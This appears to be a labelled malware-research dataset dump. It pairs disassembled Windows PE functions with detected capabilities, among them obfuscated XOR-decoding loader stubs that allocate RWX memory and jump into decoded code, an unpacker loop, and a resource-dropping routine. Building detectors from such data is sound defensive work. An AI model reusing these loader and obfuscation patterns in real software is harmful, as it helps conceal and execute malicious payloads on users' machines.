joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4034c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x4034d2
pop dword [ebp - 0xc]
mov eax, 0x75bdbc5c
sub eax, 0x757d878a
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x1af2e5f8
sub dword [ebp - 0x1c], 0xcca0a0ad
mov dword [ebp - 0x18], 0x23f3a323
add dword [ebp - 0x18], 0xe3fa922
mov dword [ebp - 0x14], 0xd054289
sub dword [ebp - 0x14], 0xc0b8fe5b
mov dword [ebp - 0x10], 0x2ba8755a
add dword [ebp - 0x10], 0xd4578aa6
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x34216b16
add eax, 0xcc1ed51a
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x90428635
add dword [ebp - 0x1c], 0xe42fe321
mov dword [ebp - 0x18], 0xd1eb8df1
sub dword [ebp - 0x18], 0x907f2c7c
mov dword [ebp - 0x14], 0x60e4dbc4
sub dword [ebp - 0x14], 0xfd756f58
mov dword [ebp - 0x10], 0xdc9670e8
add dword [ebp - 0x10], 0x23698f18
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36d38
push 0
call eax
mov ecx, 0x1da5a729
add ecx, 0xe25aa093
xor edx, edx
add edx, eax
mov edi, 0xb7d3483b
sub edi, 0xb792c43b
add edi, dword [ebp - 0xc]
mov esi, 0xd9ecc507
add esi, 0x2819940f
xor dword [ebp - 4], esi
mov ebx, dword [edi]
add dword [ebp - 4], 0x719df9f7
add ebx, esi
sub dword [ebp - 4], ebx
mov dword [edx], ebx
xor dword [ebp - 4], edi
add edx, 0xe9dc43fa
add edx, 0x1623bc0a
add edi, 0x88611407
sub edi, 0x88611403
loop 0x4035f1
add eax, 0x111c3
mov ebx, eax
add eax, 5
mov ecx, 0x490ca476
sub ecx, 0x48cca476
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x416f20], 1
mov dword [0x416f1c], 1
mov dword [0x416f18], 1
mov dword [0x416f10], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x416014], eax
mov eax, dword [0x416f2c]
test eax, eax
je 0x4010b0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x416f40]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x416f28]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x412020], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x406080
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4060e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x416f34]
test esi, esi
jle 0x406200
mov eax, dword [0x416f38]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x406114
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x406197
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x406100
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x406227
mov eax, dword [0x416f38]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x416f38]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x406207
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x406190
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4061a0
add dword [0x416f34], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x416f38]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x406190
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40611e
mov eax, dword [0x416f38]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x4066e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x416f50
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x416f48]
sub esp, 4
test ebx, ebx
je 0x406735
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40672e
test esi, esi
je 0x40672e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x406710
mov dword [esp], 0x416f50
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x406a60
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x406a85
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x406a90
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x406a85
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x406ad8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x406ace
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x406ada
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x406ac0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x774880
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x66e015
lea edi, [esi - 0x26d015]
mov dword [edi + 0x331f90], 0x3aa7072d
push edi
or ebp, 0xffffffff
jmp 0x7748aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7748b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7748a0
mov eax, 1
add ebx, ebx
jne 0x7748c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7748d4
jne 0x7748f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7748f3
dec eax
add ebx, ebx
jne 0x7748e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7748b8
add ebx, ebx
jne 0x7748ef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x774945
xor ecx, ecx
sub eax, 3
jb 0x77490b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x77497a
sar eax, 1
mov ebp, eax
jmp 0x774916
add ebx, ebx
jne 0x774916
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7748e4
inc ecx
add ebx, ebx
jne 0x774924
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7748e4
add ebx, ebx
jne 0x774931
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x774926
jne 0x774942
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x774926
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x774964
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x774956
jmp 0x7748a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x774964
add edi, ecx
jmp 0x7748a6
pop esi
mov edi, esi
mov ecx, 0x11031
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x774982
cmp byte [edi], 0x50
jne 0x774982
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x774987
lea edi, [esi + 0x371000]
mov eax, dword [edi]
or eax, eax
je 0x7749f6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3ad0dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3ad1cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7749b4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3ad1d0]
or eax, eax
je 0x7749f0
mov dword [ebx], eax
add ebx, 4
jmp 0x7749d1
call dword [esi + 0x3ad1e0]
mov ebp, dword [esi + 0x3ad1d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x374a51]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x774a42
sub esp, 0xffffff80
jmp 0x4014a0
Function at 0x6d001419
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d001467
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d001478
push 0xd
pop eax
jmp 0x6d0014a2
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d00147b
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d001b23
Capabilities:
Check if file exists
Create directory
Extract resource via kernel32 functions
Get file attributes
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x6d0070c0]
xor eax, ebp
mov dword [ebp + 0x294], eax
mov eax, dword [ebp + 0x2a0]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
lea ecx, [ebp + 0x190]
push ecx
push eax
mov dword [ebp - 0x7c], eax
call fcn.6d0018dc
add esp, 0xc
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x6d001be9
push 0x104
lea eax, [ebp - 0x78]
push eax
push 0x6a
push dword [0x6d007104]
call dword [sym.imp.USER32.dll_LoadStringA]
lea eax, [ebp + 0x190]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x6d001b8e
lea edi, [ebp - 0x78]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x6d001b9b
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x78]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCR100.dll_printf]
pop ecx
push ebx
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x6d001be9
push 1
push 1
push 0x6b
call fcn.6d003c50
add esp, 0xc
cmp eax, 0x80004005
jne 0x6d001be9
xor eax, eax
jmp 0x6d001c4f
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x7c]
call dword [sym.imp.kernel32.dll_CreateFileA]
push 0xa
push 0x1f4
push dword [0x6d007104]
mov esi, eax
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
push edi
push dword [0x6d007104]
call dword [sym.imp.kernel32.dll_LoadResource]
push edi
push dword [0x6d007104]
mov dword [ebp - 0x7c], eax
call dword [sym.imp.kernel32.dll_SizeofResource]
push ebx
lea ecx, [ebp - 0x80]
push ecx
push eax
push dword [ebp - 0x7c]
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x294]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d00396e
add ebp, 0x298
leave
ret
Function at 0x6d002339
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d0070c0]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d003c50
mov ebx, eax
cmp ebx, esi
je 0x6d0023ac
lea ecx, [ebp - 0x74]
call fcn.6d001347
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d00396e
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d0023c4
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d002339
cmp eax, esi
jne 0x6d0023f6
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d0023b4
lea ecx, [ebp - 0x74]
call fcn.6d001347
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d0012d8
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d001347
mov eax, esi
jmp 0x6d002392
Function at 0x6d00396e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d0070c0]
jne 0x6d003978
repz ret
jmp fcn.6d003f95

Function at 0x6d003c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x6d003c5f
pop dword [ebp - 0x30]
mov eax, 0x4106de35
add eax, 0x2bf95e2a
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xc87aa865
add dword [ebp - 0x40], 0x85d79ce6
mov dword [ebp - 0x3c], 0x816898ca
sub dword [ebp - 0x3c], 0x4f354c85
mov dword [ebp - 0x38], 0x83d59fc
sub dword [ebp - 0x38], 0xbbf115ce
mov dword [ebp - 0x34], 0x4bfffaf6
sub dword [ebp - 0x34], 0x4bfffaf6
lea eax, [ebp - 0x40]
push eax
mov eax, 0x67260a9b
add eax, 0x5da4589
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xbf4cc079
sub dword [ebp - 0x40], 0x4ada5723
mov dword [ebp - 0x3c], 0xc96af72d
add dword [ebp - 0x3c], 0x78016a48
mov dword [ebp - 0x38], 0xf6da0e5a
sub dword [ebp - 0x38], 0x936aa1ee
mov dword [ebp - 0x34], 0xcdf31cc6
add dword [ebp - 0x34], 0x320ce33a
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x9f7828f3
sub eax, 0x3277d8d3
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x34eab
push 0
call eax
mov ecx, 0x2fc2c5b
sub ecx, 0x2fbebd1
xor esi, esi
add esi, eax
mov edx, 0x6d00b600
add edx, dword [ebp - 0x30]
mov edi, 0xd5236bdc
add dword [ebp - 0x24], esi
mov ebx, dword [edx]
add dword [ebp - 0x28], edi
xor ebx, edi
add dword [ebp - 0x14], 0xb8075227
mov dword [esi], ebx
xor dword [ebp - 0x18], 0x597dd5e7
add esi, 0xf75bb548
sub esi, 0xf75bb544
add edx, 0xcea84717
add edx, 0x3157b8ed
loop 0x6d003d77
add eax, 0xf4fb
xor ebx, ebx
add ebx, eax
add eax, 0xc45c1535
add eax, 0x3ba3ead0
mov ecx, 0xc6b7dcbf
add ecx, 0xa6482341
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10006680
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
xor eax, eax
test cl, 1
je 0x1000669b
bts eax, 7
shr ecx, 1
test cl, 1
je 0x100066a6
bts eax, 6
shr ecx, 1
test cl, 1
je 0x100066b1
bts eax, 5
shr ecx, 1
test cl, 1
je 0x100066bc
bts eax, 4
shr ecx, 1
test cl, 1
je 0x100066c7
bts eax, 3
shr ecx, 1
test cl, 1
je 0x100066d2
bts eax, 2
shr ecx, 1
test cl, 1
je 0x100066dd
bts eax, 1
test cl, 2
je 0x100066e6
bts eax, 0
shl eax, 0x18
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov ebx, ecx
sar ebx, 0x1f
and ebx, 0x4c11db7
lea eax, [ecx + ecx]
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
test bl, 1
je 0x10006782
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10006773
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
cmp ecx, 0xff
jle 0x10006690
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100067b0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10137018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x1012835c
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp - 8], 0
call fcn.100dbe6d
add esp, 0xc
test eax, eax
je 0x10006800
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100849bc
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0x400
call fcn.100dc1e3
add esp, 4
mov ebx, eax
mov dword [ebp - 0x10], ebx
push dword [ebp - 8]
test ebx, ebx
jne 0x10006836
call fcn.100dbd6f
add esp, 4
xor al, al
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100849bc
mov esp, ebp
pop ebp
ret 0xc
push 0x400
push 1
push ebx
call fcn.100dc0a8
add esp, 0x10
test eax, eax
je 0x1000688b
push esi
nop dword [eax + eax]
mov esi, ebx
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 0xc]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10006852
push dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
push 0x400
push 1
push ebx
call fcn.100dc0a8
add esp, 0x10
test eax, eax
jne 0x10006850
pop esi
push ebx
call fcn.100dbeb4
push dword [ebp - 8]
call fcn.100dbd6f
mov ecx, dword [ebp - 4]
add esp, 8
not dword [edi]
xor ecx, ebp
mov al, 1
pop ebx
pop edi
call fcn.100849bc
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10008fc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10137018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x103281d8]
push esi
push eax
mov dword [edi + 0x154], 1
lea eax, [edi + 0x15c]
lea ebx, [edi + 0x154]
push eax
call fcn.100d2550
add esp, 0xc
mov dword [edi + 0x158], esi
add esi, 8
je 0x10009092
mov eax, dword [edi]
test eax, eax
je 0x10009041
mov eax, dword [eax + 4]
cmp eax, 0xffffffff
je 0x10009041
test ebx, ebx
je 0x10009041
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x10009041
cmp dword [ebp - 8], esi
je 0x10009092
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x10009061
mov eax, dword [edi + 4]
cmp eax, 3
je 0x10009055
cmp eax, 1
jne 0x10009061
lea eax, [edi + 0x54]
push eax
push dword [edi + 0x50]
call ecx
add esp, 8
mov esi, dword [edi]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
xor al, al
mov byte [esi], 0
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100849bc
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100849bc
mov esp, ebp
pop ebp
ret 8
Function at 0x1000cbb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10137018]
xor eax, ebp
mov dword [ebp - 4], eax
movsd xmm0, qword [0xd255a0]
lea eax, [ebp - 8]
subsd xmm0, qword [0x1012ce70]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
andps xmm0, xmmword [0x1012d4c0]
push 8
push 0xd2c848
movsd qword [ebp - 0x10], xmm0
call esi
movsd xmm0, qword [ebp - 0x10]
lea eax, [ebp - 8]
mulsd xmm0, qword [0x1012cdb0]
push eax
addsd xmm0, qword [0x1012cf00]
movsd qword [0xd2c848], xmm0
push dword [ebp - 8]
push 8
push 0xd2c848
call esi
movsd xmm0, qword [0xd255a0]
lea eax, [ebp - 8]
subsd xmm0, qword [0x1012ce70]
push eax
push 0x40
push 8
push 0xd2c898
andps xmm0, xmmword [0x1012d4c0]
movsd qword [ebp - 0x10], xmm0
call esi
movsd xmm0, qword [ebp - 0x10]
lea eax, [ebp - 8]
mulsd xmm0, qword [0x1012cdb0]
push eax
addsd xmm0, qword [0x1012cf00]
movsd qword [0xd2c898], xmm0
push dword [ebp - 8]
push 8
push 0xd2c898
call esi
movsd xmm0, qword [0xd255a0]
lea eax, [ebp - 8]
subsd xmm0, qword [0x1012ce70]
push eax
push 0x40
push 4
push 0xd2c894
andps xmm0, xmmword [0x1012d4c0]
movsd qword [ebp - 0x10], xmm0
call esi
movsd xmm0, qword [ebp - 0x10]
lea eax, [ebp - 8]
cvtpd2ps xmm0, xmm0
push eax
mulss xmm0, dword [0x1012ce20]
addss xmm0, dword [0x1012d324]
movss dword [0xd2c894], xmm0
push dword [ebp - 8]
push 4
push 0xd2c894
call esi
movsd xmm0, qword [0xd255a0]
lea eax, [ebp - 8]
subsd xmm0, qword [0x1012ce70]
push eax
push 0x40
push 4
push 0xd2c8a8
andps xmm0, xmmword [0x1012d4c0]
movsd qword [ebp - 0x10], xmm0
call esi
movsd xmm0, qword [ebp - 0x10]
lea eax, [ebp - 8]
cvtpd2ps xmm0, xmm0
push eax
mulss xmm0, dword [0x1012ce20]
addss xmm0, dword [0x1012d324]
movss dword [0xd2c8a8], xmm0
push dword [ebp - 8]
push 4
push 0xd2c8a8
call esi
movsd xmm0, qword [0xd255a0]
lea eax, [ebp - 8]
subsd xmm0, qword [0x1012ce70]
push eax
push 0x40
push 4
push 0xd2570c
andps xmm0, xmmword [0x1012d4c0]
movsd qword [ebp - 0x10], xmm0
call esi
movsd xmm0, qword [ebp - 0x10]
lea eax, [ebp - 8]
cvtpd2ps xmm0, xmm0
push eax
mulss xmm0, dword [0x1012ce20]
addss xmm0, dword [0x1012d31c]
movss dword [0xd2570c], xmm0
push dword [ebp - 8]
push 4
push 0xd2570c
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100849bc
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret